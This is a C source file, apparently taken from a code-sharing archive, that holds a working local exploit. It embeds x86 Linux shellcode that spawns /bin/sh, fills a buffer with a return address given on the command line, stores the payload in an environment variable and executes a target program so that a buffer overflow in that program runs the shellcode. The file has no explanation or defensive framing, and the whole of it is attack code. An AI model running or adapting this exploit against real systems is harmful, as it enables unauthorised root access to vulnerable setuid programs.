www.pudn.com > code.rar > exe_pro.c

#include 
#include 

extern char **environ;

int main(int argc, char **argv){
	char large_string[128];
	long *long_ptr = (long *) large_string;
	int i;
	char shellcode[] =
		"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
		"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
		"\x80\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xe8\xd4\xff\xff\xff/bin/sh";

	for (i = 0; i < 32; i++)
		*(long_ptr + i) = (int) strtoul(argv[2], NULL, 16);
	for (i = 0; i < (int) strlen(shellcode); i++)
		large_string[i] = shellcode[i];

	setenv("KIRIKA", large_string, 1);
	execle(argv[1], argv[1], NULL, environ);
	
	return 0;
}